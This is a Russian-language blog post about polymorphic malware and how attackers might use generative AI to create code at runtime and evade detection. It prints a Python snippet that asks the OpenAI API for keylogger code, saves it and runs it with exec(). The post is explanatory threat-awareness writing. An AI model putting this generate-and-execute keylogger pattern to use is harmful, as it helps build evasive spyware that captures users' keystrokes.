В стремительно меняющемся мире кибербезопасности злоумышленники постоянно ищут новые способы внедрения в компьютерные системы, их дестабилизации и эксплуатации уязвимостей. Один из самых коварных их инструментов — полиморфное вредоносное ПО, угроза-оборотень, затрудняющая использование традиционных защитных механизмов и представляющая огромную опасность для организаций и пользователей. В этом посте я расскажу о том, как атакующие могут применять искусственный интеллект для усиления полиморфизма зловредов. Источником вдохновения для этой статьи стала отличная работа Building BlackMamba, проделанная hyas.com.
Полиморфизм
Полиморфное вредоносное ПО — это сложный класс зловредов, видоизменяющих свой код с сохранением базовой функциональности. Для этого используются различные техники обфускации, меняющие код с каждой итерацией, что сильно усложняет обнаружение и анализ даже при помощи самых совершенных систем безопасности.
Термин «полиморфизм» происходит от греческих слов «poly», означающего «много» и «morphe», означающего «форма». Почти как хамелеон, меняющий свой цвет, чтобы сливаться с окружающей средой, полиморфное ПО адаптирует свою структуру, характеристики и даже цифровую сигнатуру, чтобы избежать обнаружения. Благодаря своей динамической природе оно способно обходить традиционные антивирусные решения, системы обнаружения вторжений и другие меры безопасности, полагающиеся на статические сигнатуры или паттерны.
Основная задача полиморфного вредоносного ПО заключается в том, чтобы его не обнаружили на этапе первоначального заражения, а затем оно должно постоянно избегать последующих мер защиты. Меняя свой код и поведение, оно способно эффективно обманывать системы безопасности, продляя время своего нахождения в атакуемой системе и создавая фундамент для выполнения таких действий, как кража данных, удалённое управление или совершение дальнейших атак.
Для изменения своей формы полиморфные зловреды используют множество различных техник, в том числе шифрование, обфускацию кода, самомодификацию и рандомизацию. Шифрование обычно используется для сокрытия базовой полезной нагрузки, что усложняет анализ или выявление вредоносного кода системами безопасности. Техники обфускации кода, например, изменение порядка команд или вставка бессмысленных команд, ещё больше усложняют процесс анализа, создавая многочисленные версии вредоносного ПО с одинаковыми результатами работы.
Генеративный искусственный интеллект и написание кода
Традиционно кодинг был уделом исключительно живых программистов, которые кропотливо писали строки кода, заставляющие ПО работать. Однако с появлением генеративного ИИ процесс написания кода существенно эволюционировал. При помощи глубокого обучения и нейронных сетей модели ИИ теперь могут анализировать обширные объёмы готового кода и генерировать новый функциональный код, имеющий ту же логику и структуру, что и написанный людьми.
Один из фундаментальных принципов, лежащих в основе способности генеративного ИИ писать код, — это возможность понимать паттерны, логику и синтаксис готовых кодовых баз. Обучаясь на огромных репозиториях опенсорсного кода, модели ИИ могут научиться распознавать структуру и стиль, характеризующий написанный людьми код, и имитировать его. Это поразительное достижение стало возможным благодаря способности нейронных сетей понимать суть языков программирования и обобщать их до множества правил и паттернов.
Давайте рассмотрим простой пример, демонстрирующий мощь генеративного ИИ в написании кода. Представьте, что мы хотим сгенерировать функцию Python, вычисляющую факториал заданного числа. Живой программист написал бы такую функцию:
def factorial(n):
if n == 0:
return 1
else:
return n * factorial(n-1)
А теперь давайте посмотрим, как генеративный ИИ сможет сгенерировать функцию со схожей функциональностью:
def factorial(n):
result = 1
while n > 0:
result *= n
n -= 1
return result
В этом примере модель ИИ успешно поняла концепцию функции факториала и её итеративной реализации. Хотя сгенерированный код может слегка отличаться от написанного человеком, его суть, логика и поведение остаются неизменными.
Полиморфный код, генерируемый ИИ
Сочетание полиморфизма и способностей ИИ к генерации кода обеспечивают возможность создания крайне труднообнаруживаемого вредоносного ПО. Чтобы лучше понять концепцию, взгляните на следующий фрагмент кода (взятый из этих исходников). Представьте вредоносное ПО, динамически обращающееся к авторитетным сайтам, предоставляющим услуги генеративного ИИ, например, openai.com или google.com, и запрашивающее создание определенных функций в хорошо структурированном коде.
В результате вредоносное ПО может импортировать сгенерированный код при помощи reflection или динамической загрузки. Такая методика гарантирует, что автоматически сгенерированный вредоносный код не находится внутри самого инфицированного объекта, что делает его практически необнаруживаемым для традиционных систем защиты. Благодаря применению этой техники зловредное ПО достигает такого уровня незаметности, который позволяет избежать обнаружения — это представляет существенную проблему для систем безопасности.
Вот более явный пример:
import openai
import keyboard
# Ввод учётных данных OpenAI API
openai.api_key = 'YOUR_API_KEY'
# Функция для генерации кода кейлоггера при помощи OpenAI API
def generate_keylogger_code():
prompt = "import keyboard\n\nkeyboard.on_press(lambda event: print(event.name))\nkeyboard.wait()"
response = openai.Completion.create(
engine='davinci-codex',
prompt=prompt,
max_tokens=100,
n=1,
stop=None,
temperature=0.7
)
return response.choices[0].text.strip()
# Генерация кода кейлоггера при помощи OpenAI API
keylogger_code = generate_keylogger_code()
# Сохранение кода в файл
with open('keylogger.py', 'w') as file:
file.write(keylogger_code)
# Запуск кейлоггера
exec(keylogger_code)
В данном случае атакующий использует для генерации кода кейлоггера возможности модели OpenAI GPT-3.5 и движка davinci-codex. Кейлоггер — это программа, фиксирующая нажатия клавиш на компьютере; это может быть полезно для различных целей, например, для мониторинга или отладки. Рассмотрим код шаг за шагом и разберемся, как работает каждый компонент.
Ввод учётных данных OpenAI API: прежде чем разбирать код, подготовьте свои учётные данные OpenAI API. Вам понадобится ключ API для аутентификации запросов к OpenAI API. Замените шаблон
'YOUR_API_KEY'
в коде на свой ключ API.Генерация кода кейлоггера: ядро вредоноса находится в функции
generate_keylogger_code()
. Она использует OpenAI API для генерации кода кейлоггера на основе переданного промта. В данном случае промтом является простой фрагмент кода, использующий библиотеку keyboard
для перехвата нажатий клавиш и вывода их в консоль. Функция передаёт этот промт OpenAI API и получает сгенерированный код кейлоггера.Чтобы использовать OpenAI API мы создаём объект
Completion
, вызвав openai.Completion.create()
. В качестве engine
мы указываем языковую модель «davinci-codex», которую хотим использовать. Параметр prompt
содержит фрагмент кода для генерации кода кейлоггера. Прочие параметры наподобие max_tokens
и temperature
управляют длиной и случайностью сгенерированного ответа.Сохранение кода кейлоггера: получив код, мы сохраняем его в файл
'keylogger.py'
при помощи оператора with
и метода write()
. Этот шаг позволяет в дальнейшем использовать и менять сгенерированный код.Запуск кейлоггера: последний этап заключается в запуске сгенерированного кода кейлоггера при помощи функции
exec()
. Она запускает код внутри текущей среды Python, активируя функциональность шпионской программы. При запуске будьте осторожны и убедитесь, что это законно и этично.Вывод
Использование кода, сгенерированного ИИ, позволяет нападающим повысить продуктивность и сократить время создания быстрого и более сложного кода, избегающего обнаружения. Эта новая возможность представляет собой существенную угрозу в сфере кибербезопасности. Защищающаяся сторона должна постоянно быть впереди, непрерывно улучшая свои стратегии защиты и используя современные техники устранения эволюционирующих угроз со стороны созданного при помощи ИИ вредоносного кода. Бдительность, проактивные меры защиты, постоянные исследования и разработки — это обязательное требование для защиты критически важных систем и данных.